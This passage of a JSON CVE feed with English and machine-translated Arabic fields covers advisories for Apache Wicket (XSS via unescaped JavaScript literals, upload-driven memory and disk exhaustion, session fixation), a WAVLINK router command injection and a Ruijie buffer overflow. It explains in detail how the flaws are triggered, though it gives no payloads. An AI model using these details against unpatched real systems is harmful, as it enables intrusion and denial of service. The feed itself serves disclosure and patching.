تلك التي يتركها org.apache.wicket.util.string.Strings#escapeMarkup() كما هي، وتنتهي القيمة في عنوان URL بدلاً من نص العنصر، وهو سياق لا يجعل بيانات النموذج بعد الهروب آمنة. يتأثر التطبيق عندما يعرض نصاً تلقاه عبر أي من هذين المكونين. هذا هو الغرض منهما: فهي موجودة لربط عناوين البريد الإلكتروني وعناوين URL الخاصة بالويب الموجودة في البيانات التي يعرضها التطبيق، لذا فإن الإدخال غير الموثوق به هو الغرض من الميزة وليس سوء استخدام لها، ولا يشتمل على أي تكوين غير عادي. لا يستخدم أي مكون آخر محلل التحليل هذا، والتطبيق الذي لا يستخدم SmartLinkLabel ولا SmartLinkMultiLineLabel لا يتأثر. على الإصدارين 9.x و 10.x، تسمح سياسة أمان المحتوى Content-Security-Policy التي يرسلها Wicket بشكل افتراضي بالشيفرات فقط من مصدر يحمل علامة عشوائية لكل استجابة nonce، وعنوان URL الذي ينفذ مخططه شيفرة لا يمكنه حمل هذه العلامة، لذا فإن هذه السياسة الافتراضية تمنع تشغيل الشيفرة. هذه سمة من سمات السياسة الافتراضية..."},"refs":[["https://lists.apache.org/thread.html/xqdymd8g178sc112lmqbp53zlss53cwz","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apache-software-foundation-apache-wicket"},{"id":"CVE-2026-83559","cvss":7.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-116","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T23:17:29Z","product":"Apache Software Foundation Apache Wicket","affected":[["8.0.0 – 8.19.0",null],["9.0.0 – 9.24.0",null],["10.0.0 – 10.11.0",null]],"title":{"en":"Apache Wicket: JavaScriptUtils#escapeQuotes does not escape the backslash, so its output can leave its string literal","ar":"Apache Wicket: الدالة JavaScriptUtils#escapeQuotes لا تقوم بالهروب من الشرطة المائلة العكسية، لذا يمكن لخرقها الخروج من النص الحرفي للسلسلة"},"summary":{"en":"Improper encoding or escaping of output in Apache Wicket. org.apache.wicket.core.util.string.JavaScriptUtils#escapeQuotes() replaces each single quote in its input with a backslash and a single quote, and each double quote with a backslash and a double quote, so that the value can be placed inside a JavaScript string literal. It does not escape the backslash, which is the character that has to be escaped, and escaped first, for the rest of that escaping to hold. A value that already holds a backslash immediately before a quote therefore ends up with two backslashes in front of that quote: the first escapes the second, the quote itself is left unescaped, and it closes the literal. Whatever the value carries after that point is no longer text but JavaScript, and it runs in the application's origin and in the session of the user looking at the page. The method is public, is not deprecated, and its documentation states that its result can be part of a JavaScript call such as an alert; the only limitation it notes concerns JSON values, which need different escaping. An application is affected wherever it calls the method itself and places the result inside a JavaScript string literal, from its own code or from a component of its own or of a third party, and the value it escapes holds data an attacker can influence. There is no further condition, and no component of Wicket has to be involved: the application is using the method for what its documentation offers, and the method does not deliver it. Two components shipped with Wicket Extensions pass a value through the method. org.apache.wicket.extensions.ajax.markup.html.AjaxEditableLabel writes the editor's first error feedback message into a single-quoted JavaScript string literal in the Ajax response, so an application is affected through that component where the message shown for a failed edit holds data an attacker can influence, whether that is the submitted value itself or another variable the application sets on t…","ar":"يوجد ترميز أو هروب غير سليم للمخرجات في Apache Wicket. يقوم org.apache.wicket.core.util.string.JavaScriptUtils#escapeQuotes() باستبدال كل فاصلة عليا مفردة في إدخاله بشرطة مائلة عكسية تليها فاصلة عليا مفردة، وكل علامة اقتباس مزدوجة بشرطة مائلة عكسية تليها علامة اقتباس مزدوجة، بحيث يمكن وضع القيمة داخل نص حرفي لسلسلة JavaScript. وهي لا تقوم بالهروب من الشرطة المائلة العكسية، وهي الحرف الذي يجب الهروب منه، والهروب منه أولاً، لكي يثبت باقي عمليات الهروب تلك. وبالتالي، فإن القيمة التي تحمل بالفعل شرطة مائلة عكسية مباشرة قبل علامة الاقتباس ينتهي بها المطاف بشرطتين مائلتين عكسيتين أمام علامة الاقتباس تلك: الأولى تهرب الثانية، وتترك علامة الاقتباس نفسها دون هروب، وتغلق النص الحرفي. أياً ما تحمله القيمة بعد تلك النقطة لم يعد نصاً بل شيفرة JavaScript، ويتم تشغيلها في مصدر التطبيق وفي جلسة المستخدم الذي يشاهد الصفحة. هذه الطريقة عامة وليست مهملة، وتوضح وثائقها أن نتيجتها يمكن أن تكون جزءاً من استدعاء JavaScript مثل تنبيه alert؛ والقيود الوحيدة التي تلاحظها تتعلق بقيم JSON، والتي تحتاج إلى نوع هروب مختلف. يتأثر التطبيق أينما قام باستدعاء الطريقة بنفسه ووضع النتيجة داخل نص حرفي لسلسلة JavaScript، من تعليمه البرمجي الخاص أو من مكون خاص به أو من طرف ثالث، وتكون القيمة التي يهرب منها حاملة لبيانات يمكن للمهاجم التأثير عليها. لا يوجد شرط إضافي، ولا يلزم مشاركة أي مكون من مكونات Wicket: التطبيق يستخدم الطريقة لما تقدمه وثائقها، والطريقة لا توفر ذلك. يقوم مكونان يتم شحنهما مع Wicket Extensions بتمرير قيمة عبر الطريقة. يكتب org.apache.wicket.extensions.ajax.markup.html.AjaxEditableLabel رسالة تعليقات الأخطاء الأولى للمحرر في نص حرفي لسلسلة JavaScript محاطة بعلامتي اقتباس مفردة في استجابة Ajax، لذا يتأثر التطبيق من خلال هذا المكون عندما تحمل رسالة الخطأ المعروضة لتعديل فاشل بيانات يمكن للمهاجم التأثير عليها، سواء كانت القيمة المرسلة نفسها أو متغير آخر يعينه التطبيق على..."},"refs":[["https://lists.apache.org/thread.html/77kc85ztkxdpp7wg7cv61c4539j9s1g3","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apache-software-foundation-apache-wicket"},{"id":"CVE-2026-83594","cvss":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-789","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T23:17:29Z","product":"Apache Software Foundation Apache Wicket","affected":[["9.14.0 – 9.24.0",null],["10.0.0 – 10.11.0",null]],"title":{"en":"Apache Wicket: FileUploadToResourceField accepts a client-asserted upload result and allocates the size it names","ar":"Apache Wicket: المكون FileUploadToResourceField يقبل نتيجة تحميل مؤكدة من قبل العميل ويخصص الحجم الذي تسميه"},"summary":{"en":"Memory allocation with an excessive size value in Apache Wicket. org.apache.wicket.markup.html.form.upload.resource.FileUploadToResourceField uploads files to a separately mounted resource rather than through a form, and is told the outcome afterwards over its own Ajax callback. That callback reads the request parameter filesInfo, a JSON array carrying a client file name, a size and a content type for each file, and turns it into the list of FileUploadToResourceField.UploadInfo that onUploadSuccess() receives. Nothing binds that JSON to an upload the resource performed and nothing re-derives it from the stored files, so the number of entries and every value in them are whatever the request supplied. The callback URL is rendered into the page, no prior upload is required, and both GET and POST reach it, so any client that can load the page can have the component report files that were never uploaded, without authenticating beyond whatever the page itself requires and without any user interaction. UploadInfo#get(), which the class offers as the way to obtain the bytes of an upload, allocates a byte array from UploadInfo#getSize() before it opens the file. The array is therefore sized by the number the request supplied, and the allocation happens even for a file that was never stored. One small request can cost the server close to two gigabytes of heap, and the request is trivially repeatable, so a few of them exhaust the heap for every request the Java virtual machine is serving. A size that the conversion to int turns negative instead throws NegativeArraySizeException, which the exception handler inside that method does not cover, so it escapes into the application. An application is affected where it uses FileUploadToResourceField, which is not the ordinary upload path through FileUploadField and Form and has to be extended and mounted deliberately. The allocation additionally requires the application to call UploadInfo#get() rather than reading UploadInfo#getFile(…","ar":"يوجد تخصيص للذاكرة بقيمة حجم مفرطة في Apache Wicket. يقوم org.apache.wicket.markup.html.form.upload.resource.FileUploadToResourceField بتحميل الملفات إلى مورد مثبّت بشكل منفصل بدلاً من التحميل عبر نموذج، ويتم إخباره بالنتيجة لاحقاً عبر استدعاء Ajax الخاص به. يقرأ هذا الاستدعاء معلمة الطلب filesInfo، وهي مصفوفة JSON تحمل اسم ملف العميل وحجماً ونوع محتوى لكل ملف، ويحولها إلى قائمة FileUploadToResourceField.UploadInfo التي يتلقاها onUploadSuccess(). لا يربط أي شيء JSON بعملية تحميل قام بها المورد ولا يعيد اشتقاقها من الملفات المخزنة، لذا فإن عدد الإدخالات وكل قيمة فيها تكون أياً ما وفرته الطلبية. يتم عرض عنوان URL الخاص بالاستدعاء في الصفحة، ولا يلزم إجراء تحميل مسبق، وكل من طلبي GET و POST يصل إليه، لذا يمكن لأي عميل يمكنه تحميل الصفحة جعل المكون يُبلغ عن ملفات لم تُحمل أبداً، دون مصادقة تتجاوز ما تتطلبه الصفحة نفسها ودون أي تفاعل من المستخدم. يقوم UploadInfo#get()، الذي تقدمه الفئة كطريقة للحصول على بايتات التحميل، بتخصيص مصفوفة بايت من UploadInfo#getSize() قبل فتح الملف. وبالتالي يتم تحديد حجم المصفوفة بواسطة الرقم الذي وفره الطلب، ويحدث التخصيص حتى للملف الذي لم يتم تخزينه أبداً. طلب صغير واحد يمكن أن يكلف الخادم ما يقارب غيغابايتين من الذاكرة العشوائية (heap)، والطلب قابل للتكرار بسهولة، لذا فإن القليل منها يستنفد الذاكرة العشوائية لكل طلب تخدمه آلة Java الافتراضية. الحجم الذي يتحول التحويل إلى رقم صحيح int إلى رقم سالب يلقي بدوره استثناء NegativeArraySizeException، والذي لا يغغطيه معالج الاستثناءات داخل تلك الطريقة، لذا فهو يهرب إلى التطبيق. يتأثر التطبيق عندما يستخدم FileUploadToResourceField، وهو ليس مسار التحميل العادي عبر FileUploadField و Form ويجب تمديده وتثبيته عن قصد. يتطلب التخصيص بالإضافة إلى ذلك أن يقوم التطبيق باستدعاء UploadInfo#get() بدلاً من قراءة UploadInfo#getFile(..."},"refs":[["https://lists.apache.org/thread.html/h5lxspxg746pzjd437n3n7mq5t3sfbcb","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apache-software-foundation-apache-wicket"},{"id":"CVE-2026-84170","cvss":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-770","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T23:17:29Z","product":"Apache Software Foundation Apache Wicket","affected":[["9.14.0 – 9.24.0",null],["10.0.0 – 10.9.1",null]],"title":{"en":"Apache Wicket: Configured upload limits are not enforced by the standalone file upload resource","ar":"Apache Wicket: حدود التحميل المُكوّنة لا يتم فرضها بواسطة مورد تحميل الملفات المستقل"},"summary":{"en":"Allocation of resources without limits or throttling in Apache Wicket. org.apache.wicket.markup.html.form.upload.resource.AbstractFileUploadResource is the server side of the form-less upload offered by FileUploadToResourceField, which posts the selected files to a separately mounted resource rather than through a Form. The resource is an application-wide singleton with no component to consult, so newResourceResponse() takes the three limits that bound the upload - the total request size, the maximum size of a single part and the maximum number of parts - from the request parameters maxSize, fileMaxSize and fileCountMax, and hands them to the multipart parser as they arrive. Nothing binds those numbers to the field that is supposed to be uploading. A request naming a very large maxSize is therefore parsed with no effective ceiling on the total size, and omitting fileMaxSize and fileCountMax leaves the per-part and part-count limits unset as well. The values the application configured through FileUploadToResourceField#setMaxSize(), #setFileMaxSize() and #setFileCountMax() are consulted only when the client omits the corresponding parameter, so against a client that supplies one they have no effect at all. Parts above the parser's in-memory threshold are spooled to the container's temporary directory, and the file parts are then copied into the folder the application's IUploadsFileManager owns, under a sub-folder the request names, where they remain. A part that is not a file is read into the heap in full while the request is parsed. One request, repeatable, can therefore consume as much disk or as much heap as the client chooses to send. The resource carries no authorization annotation and the default authorization strategy permits every resource request, so unless the application authorizes the resource itself the request needs no authentication, no session, no prior page view and no user interaction. An application is affected where it uses FileUploadToResourceFie…","ar":"يوجد تخصيص للموارد دون حدود أو تقييد في Apache Wicket. org.apache.wicket.markup.html.form.upload.resource.AbstractFileUploadResource هو جانب الخادم لعملية التحميل بدون نموذج التي يقدمها FileUploadToResourceField، والذي يرسل الملفات المحددة إلى مورد مثبّت بشكل منفصل بدلاً من المرور عبر نموذج Form. المورد هو عنصر فردي (singleton) على مستوى التطبيق بالكامل وليس له مكون للتشاور معه، لذا يأخذ newResourceResponse() الحدود الثلاثة التي تقيد التحميل - إجمالي حجم الطلب، والحد الأقصى لحجم جزء واحد، والحد الأقصى لعدد الأجزاء - من معاملات الطلب maxSize و fileMaxSize و fileCountMax، ويسلمها إلى محلل الأجزاء المتعددة فور وصولها. لا يربط أي شيء تلك الأرقام بالحقل المفترض أن يقوم بالتحميل. وبالتالي يتم تحليل الطلب الذي يسمى maxSize كبيراً جداً دون سقف فعلي للحجم الإجمالي، ويؤدي حذف fileMaxSize و fileCountMax إلى ترك حدود الجزء الواحد وعدد الأجزاء غير محدودة أيضاً. يتم استشارة القيم التي قام التطبيق بتكوينها من خلال FileUploadToResourceField#setMaxSize() و #setFileMaxSize() و #setFileCountMax() فقط عندما يحذف العميل المعلمة المقابلة، لذا فهي ليس لها أي تأثير على الإطلاق ضد عميل يوفرها. يتم تخزين الأجزاء التي تزيد عن عتبة الذاكرة الخاصة بالمحلل في الدليل المؤقت للحاوية، ثم يتم نسخ أجزاء الملف إلى المجلد الذي يمتلكه IUploadsFileManager الخاص بالتطبيق، تحت مجلد فرعي تسميه الطلبية، حيث تظل هناك. يتم قراءة الجزء الذي ليس ملفاً في الذاكرة العشوائية بالكامل أثناء تحليل الطلب. وبالتالي يمكن لطلب واحد، قابل للتكرار، أن يستهلك قدر ما يختار العميل إرساله من القرص أو الذاكرة العشوائية. لا يحمل المورد أي تعليق توضيحي لتفويض الصلاحيات وتسمح استراتيجية التفويض الافتراضية لكل طلب مورد، لذا ما لم يقم التطبيق بتفويض المورد بنفسه، فإن الطلب لا يحتاج إلى مصادقة ولا جلسة ولا عرض صفحة مسبق ولا أي تفاعل من المستخدم. يتأثر التطبيق عندما يستخدم FileUploadToResourceFie..."},"refs":[["https://lists.apache.org/thread.html/bw3hn5cch3q7yrsl05m8mvmgyx4m98y7","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apache-software-foundation-apache-wicket"},{"id":"CVE-2026-111089","cvss":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T22:32:09Z","product":"Apache Software Foundation Apache Wicket","affected":[["8.0.0 – 8.19.0",null],["9.0.0 – 9.24.0",null],["10.0.0 – 10.11.0",null]],"title":{"en":"Apache Wicket: XSS via a resource bundle text written unescaped into generated JavaScript and markup","ar":"ثغرة XSS في Apache Software Foundation Apache Wicket"},"summary":{"en":"Apache Wicket reads texts from the application's resource bundles — a localized label, a css class name — and writes some of them into the JavaScript and the markup it generates for a component. Those texts are placed inside single-quoted JavaScript string literals and inside quoted attribute values without being escaped for that context, so a text containing a quote ends the literal or the attribute, and what follows is parsed as script or as markup in the application's origin when the page loads. A resource bundle entry is authored for the application and does not say where the framework will write it. The same key is read by the framework into element text, where Wicket escapes it, and into the contexts below, where it did not. A text containing an apostrophe, which is ordinary in several languages, is enough to break the page; a text under the influence of another party is enough to run script. In org.apache.wicket:wicket-core, org.apache.wicket.markup.html.form.upload.MultiFileUploadField writes the org.apache.wicket.mfu.delete message into a JavaScript string literal, and org.apache.wicket.markup.html.form.Form writes the hidden-fields css class into the class attribute of the container it renders for its hidden fields; on 8.0.0 through 8.19.0 and 9.0.0 through 9.24.0 Form#appendDefaultButtonField writes the same css class into a second container. In org.apache.wicket:wicket-extensions, UploadProgressBar writes its UploadProgressBar.starting text into a JavaScript string literal, FilterForm writes the hidden-fields css class into the class attribute of its hidden input markup, and on 9.0.0 through 9.24.0 and 10.0.0 through 10.11.0 TrapFocusBehavior writes its current css class into a JavaScript string literal. The Content-Security-Policy that Apache Wicket 9.x and 10.x send by default does not prevent the JavaScript cases: the generated script is written into a script element carrying the per-response nonce, so the injected code is part of a script the policy…","ar":"Apache Wicket reads texts from the application's resource bundles — a localized label, a css class name — and writes some of them into the JavaScript and the markup it generates for a component. Those texts are placed inside single-quoted JavaScript string literals and inside quoted attribute values without being escaped for that context, so a text containing a quote ends the literal or the attribute, and what follows is parsed as script or as markup in the application's origin when the page loads. A resource bundle entry is authored for the application and does not say where the framework will write it. The same key is read by the framework into element text, where Wicket escapes it, and into the contexts below, where it did not. A text containing an apostrophe, which is ordinary in several languages, is enough to break the page; a text under the influence of another party is enough to run script. In org.apache.wicket:wicket-core, org.apache.wicket.markup.html.form.upload.MultiFileUploadField writes the org.apache.wicket.mfu.delete message into a JavaScript string literal, and org.apache.wicket.markup.html.form.Form writes the hidden-fields css class into the class attribute of the container it renders for its hidden fields; on 8.0.0 through 8.19.0 and 9.0.0 through 9.24.0 Form#appendDefaultButtonField writes the same css class into a second container. In org.apache.wicket:wicket-extensions, UploadProgressBar writes its UploadProgressBar.starting text into a JavaScript string literal, FilterForm writes the hidden-fields css class into the class attribute of its hidden input markup, and on 9.0.0 through 9.24.0 and 10.0.0 through 10.11.0 TrapFocusBehavior writes its current css class into a JavaScript string literal. The Content-Security-Policy that Apache Wicket 9.x and 10.x send by default does not prevent the JavaScript cases: the generated script is written into a script element carrying the per-response nonce, so the injected code is part of a script the policy…"},"refs":[["https://lists.apache.org/thread.html/xyp4sm5mm7s618fktstb22577qxbmqw8","advisory"]],"epss":0.0033,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"apache-software-foundation-apache-wicket"},{"id":"CVE-2026-95863","cvss":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T22:30:47Z","product":"Apache Software Foundation Apache Wicket","affected":[["8.0.0 – 8.19.0",null],["9.0.0 – 9.24.0",null],["10.0.0 – 10.11.0",null]],"title":{"en":"Apache Wicket: XSS via a component id or markup id written unescaped into generated JavaScript and markup","ar":"ثغرة XSS في Apache Software Foundation Apache Wicket"},"summary":{"en":"Improper neutralization of input during web page generation in Apache Wicket. Apache Wicket generates JavaScript that refers to the elements it renders, and writes into that JavaScript two values it derives itself: a component's markup id, and the input name of a form component, which is built from component ids. Both are placed inside single-quoted JavaScript string literals without being escaped for that context, so a value containing a single quote or a backslash ends the literal, and what follows is parsed as script and runs in the application's origin when the page loads. A markup id is the value passed to org.apache.wicket.Component#setMarkupId(String), or the id attribute written in the component's markup, or an id Wicket generates, in that order. The first two are supplied by the application in an HTML context, where both characters are legal and where Wicket escapes them correctly when it writes the same value into the id attribute of the element; a generated id cannot contain either. An input name is derived from the ids of the components between the form and the form component, and a component id was rejected only for ':' and '~'. In org.apache.wicket:wicket-core on 9.x and 10.x, org.apache.wicket.markup.head.OnEventHeaderItem#forMarkupId(String, String, CharSequence) quotes the id it is given into a Wicket.Event.add call, and components in both wicket-core and wicket-extensions reach it through #forComponent(Component, String, CharSequence). On every affected version, org.apache.wicket.markup.html.form.Form writes its markup id and the id of its hidden-fields container into such literals, org.apache.wicket.markup.html.form.FormComponentUpdatingBehavior writes an input name, and org.apache.wicket.markup.html.form.upload.MultiFileUploadField writes two markup ids and an input name. On 8.x, Form also writes an input name into the action of a submitting link, and on 8.x and 9.x Form#appendDefaultButtonField writes an input name into a name attribute with no…","ar":"Improper neutralization of input during web page generation in Apache Wicket. Apache Wicket generates JavaScript that refers to the elements it renders, and writes into that JavaScript two values it derives itself: a component's markup id, and the input name of a form component, which is built from component ids. Both are placed inside single-quoted JavaScript string literals without being escaped for that context, so a value containing a single quote or a backslash ends the literal, and what follows is parsed as script and runs in the application's origin when the page loads. A markup id is the value passed to org.apache.wicket.Component#setMarkupId(String), or the id attribute written in the component's markup, or an id Wicket generates, in that order. The first two are supplied by the application in an HTML context, where both characters are legal and where Wicket escapes them correctly when it writes the same value into the id attribute of the element; a generated id cannot contain either. An input name is derived from the ids of the components between the form and the form component, and a component id was rejected only for ':' and '~'. In org.apache.wicket:wicket-core on 9.x and 10.x, org.apache.wicket.markup.head.OnEventHeaderItem#forMarkupId(String, String, CharSequence) quotes the id it is given into a Wicket.Event.add call, and components in both wicket-core and wicket-extensions reach it through #forComponent(Component, String, CharSequence). On every affected version, org.apache.wicket.markup.html.form.Form writes its markup id and the id of its hidden-fields container into such literals, org.apache.wicket.markup.html.form.FormComponentUpdatingBehavior writes an input name, and org.apache.wicket.markup.html.form.upload.MultiFileUploadField writes two markup ids and an input name. On 8.x, Form also writes an input name into the action of a submitting link, and on 8.x and 9.x Form#appendDefaultButtonField writes an input name into a name attribute with no…"},"refs":[["https://lists.apache.org/thread.html/5wg754b873tlnsc268myrwcoy9lt046v","advisory"]],"epss":0.0033,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"apache-software-foundation-apache-wicket"},{"id":"CVE-2026-82840","cvss":7.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-384","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T22:05:07Z","product":"Apache Software Foundation Apache Wicket","affected":[["8.18.0 – 8.19.0",null],["9.23.0 – 9.24.0",null],["10.9.0 – 10.11.0",null]],"title":{"en":"Apache Wicket: The session id is renewed only on the first sign in, not on re-authentication","ar":"Apache Wicket: يتم تجديد معرف الجلسة فقط عند تسجيل الدخول الأول وليس عند إعادة المصادقة"},"summary":{"en":"Session fixation in Apache Wicket. org.apache.wicket.authroles.authentication.AuthenticatedWebSession is the authentication base class of Wicket's role-based security module, and its signIn(String, String) method is the entry point through which an application authenticates a session. Renewing the container session id at that point is the standard defence against an attacker who has fixed a session id in a victim's browser, and Wicket provides that renewal as org.apache.wicket.Session#changeSessionId(), whose documentation directs callers to invoke it on login for exactly that reason. AuthenticatedWebSession#signIn(String, String) calls it inside a guard that succeeds only on the first transition of the session's signed-in flag. The session id is therefore renewed when a session first signs in, and is not renewed when a session that is already signed in authenticates again. signIn(String, String) returns true either way, so neither the caller nor the application can tell that the renewal did not happen. An application is affected where it authenticates through AuthenticatedWebSession, which AuthenticatedWebApplication requires and which the shipped UsernamePasswordPanel uses, and where a session that is already signed in can authenticate again: a step-up prompt before a sensitive action, an account switch, or simply a sign-in form that stays reachable once the user is signed in. Nothing in the module hides that form from a signed-in session. Reaching the defect also requires an attacker to place a session id of their choosing in the victim's browser. JSESSIONID is set by the servlet container rather than by Wicket, so that needs a position Wicket does not grant, such as control of a host under the same registrable domain or a container configured to carry the session id in the URL, and the planted session has to be one the attacker has already signed in on, because a session that is not yet signed in does have its id renewed by the victim's authentication. An authe…","ar":"تثبيت الجلسة في Apache Wicket. الفئة org.apache.wicket.authroles.authentication.AuthenticatedWebSession هي فئة أساس المصادقة لوحدة الأمان المستندة إلى الأدوار في Wicket، وتُعد طريقة signIn(String, String) الخاصة بها نقطة الدخول التي يقوم التطبيق من خلالها بمصادقة الجلسة. يُعد تجديد معرف جلسة الحاوية في تلك النقطة الدفاع القياسي ضد مهاجم قام بتثبيت معرف جلسة في متصفح الضحية، ويوفر Wicket هذا التجديد باسم org.apache.wicket.Session#changeSessionId()، والتي توجّه وثائقها المستدعين لاستدعائها عند تسجيل الدخول لهذا السبب بالذات. تستدعي AuthenticatedWebSession#signIn(String, String) الدالة داخل شرط حراسة ينجح فقط عند الانتقال الأول لعلامة تسجيل الدخول الخاصة بالجلسة. ونتيجة لذلك، يتم تجديد معرف الجلسة عند تسجيل الدخول لأول مرة، ولا يتم تجديده عندما تقوم جلسة مسجلة الدخول بالفعل بالمصادقة مرة أخرى. تُرجع الدالة signIn(String, String) القيمة true في كلتا الحالتين، لذا لا يمكن للمستدعي ولا للتطبيق معرفة أن التجديد لم يحدث. يتأثر التطبيق عندما يقوم بالمصادقة من خلال AuthenticatedWebSession، وهو ما تتطلبه AuthenticatedWebApplication وتستخدمه لوحة UsernamePasswordPanel المدمجة، وعندما تستطيع جلسة مسجلة الدخول بالفعل إجراء المصادقة مرة أخرى: مثل مطالبة ترقية الصلاحيات قبل إجراء حساس، أو تبديل الحساب، أو ببساطة نموذج تسجيل دخول يظل قابلاً للوصول بمجرد تسجيل دخول المستخدم. لا يوجد شيء في الوحدة يخفي هذا النموذج عن جلسة مسجلة الدخول. يتطلب الوصول إلى الخلل أيضًا أن يضع المهاجم معرف جلسة من اختياره في متصفح الضحية. يتم تعيين JSESSIONID بواسطة حاوية السيرفلت بدلاً من Wicket، لذا يتطلب ذلك وضعاً لا يمنحه Wicket، مثل التحكم في مضيف تحت نفس النطاق القابل للتسجيل أو حاوية مُكوّنة لحمل معرف الجلسة في عنوان URL، ويجب أن تكون الجلسة المزروعة جلسة قد قام المهاجم بالمصادقة عليها بالفعل، لأن الجلسة التي لم يتم تسجيل دخولها بعد يتم تجديد معرفها بواسطة مصادقة الضحية."},"refs":[["https://lists.apache.org/thread.html/q812kjb74x2pt6956w0pcmkc4wwj95l9","advisory"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apache-software-foundation-apache-wicket"},{"id":"CVE-2026-120240","cvss":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-77","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T19:16:57Z","product":"WAVLINK WN553X1-B","affected":[["V260403_2.0.0",null]],"title":{"en":"WAVLINK WN553X1-B WireGuard CLI Group ioos sub_41A748 os command injection","ar":"ثغرة حقن أوامر نظام التشغيل في دالة sub_41A748 ضمن مجموعة WireGuard CLI لموجهات WAVLINK WN553X1-B"},"summary":{"en":"A vulnerability was determined in WAVLINK WN553X1-B V260403_2.0.0. This issue affects the function sub_41A748 of the file /bin/ioos of the component WireGuard CLI Group Handler. Executing a manipulation of the argument group_id/group_name can lead to os command injection. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure.","ar":"تم تحديد ثغرة في الإصدار V260403_2.0.0 من WAVLINK WN553X1-B. تؤثر هذه المشكلة على الدالة sub_41A748 في الملف /bin/ioos التابع لمكون معالج مجموعة WireGuard CLI. يؤدي التلاعب بالمعامل group_id/group_name إلى حقن أوامر نظام التشغيل. يمكن تنفيذ الهجوم عن بُعد، وقد تم الكشف عن استغلال الثغرة علنًا وربما يتم استخدامها. وقد تم التواصل مع المورد مسبقًا بشأن هذا الكشف."},"refs":[["https://vuldb.com/cve/CVE-2026-120240","advisory"],["https://vuldb.com/submit/919251","advisory"],["https://github.com/senxitoyshuyi-ui/HACKALL/blob/main/WAVLINK%20WN553X1-B%20Router/WAVLINK_WN553X1-B_wireguard_cli_group_command_injection.md","ref"],["https://vuldb.com/vuln/429599","ref"],["https://vuldb.com/vuln/429599/cti","ref"]],"epss":0.0169,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wavlink-wn553x1-b"},{"id":"CVE-2026-120241","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","cwe":"CWE-120","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T18:45:15Z","product":"Ruijie RG-ES205GC","affected":[],"title":{"en":"Ruijie RG-ES205GC Local Firmware Upgrade httpupg.cgi buffer overflow","ar":"ثغرة فيضان المخزن المؤقت في واجهة ترقية البرامج الثابتة المحلية عبر ملف httpupg.cgi لجهاز Ruijie RG-ES205GC"},"summary":{"en":"A vulnerability was identified in Ruijie RG-ES205GC, RG-ES206GC-P, RG-ES208GC, RG-ES210GC-LP and RG-ES210GS-P ESW_1.0(1)B1P48. Impacted is an unknown function of the file httpupg.cgi of the component Local Firmware Upgrade Interface. The manipulation leads to buffer overflow. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.","ar":"تم تحديد ثغرة في منتجات Ruijie RG-ES205GC و RG-ES206GC-P و RG-ES208GC و RG-ES210GC-LP و RG-ES210GS-P بالنسخة ESW_1.0(1)B1P48. التأثر يقع في وظيفة غير معروفة ضمن الملف httpupg.cgi التابع لمكون واجهة ترقية البرامج الثابتة المحلية. يؤدي التلاعب إلى فيضان المخزن المؤقت. من الممكن البدء بالهجوم عن بُعد. الاستغلال متاح للعامة وربما يُستخدَم. تم الاتصال بالجهة الموردة مبكرًا بشأن هذا الكشف لكنها لم تستجب بأي 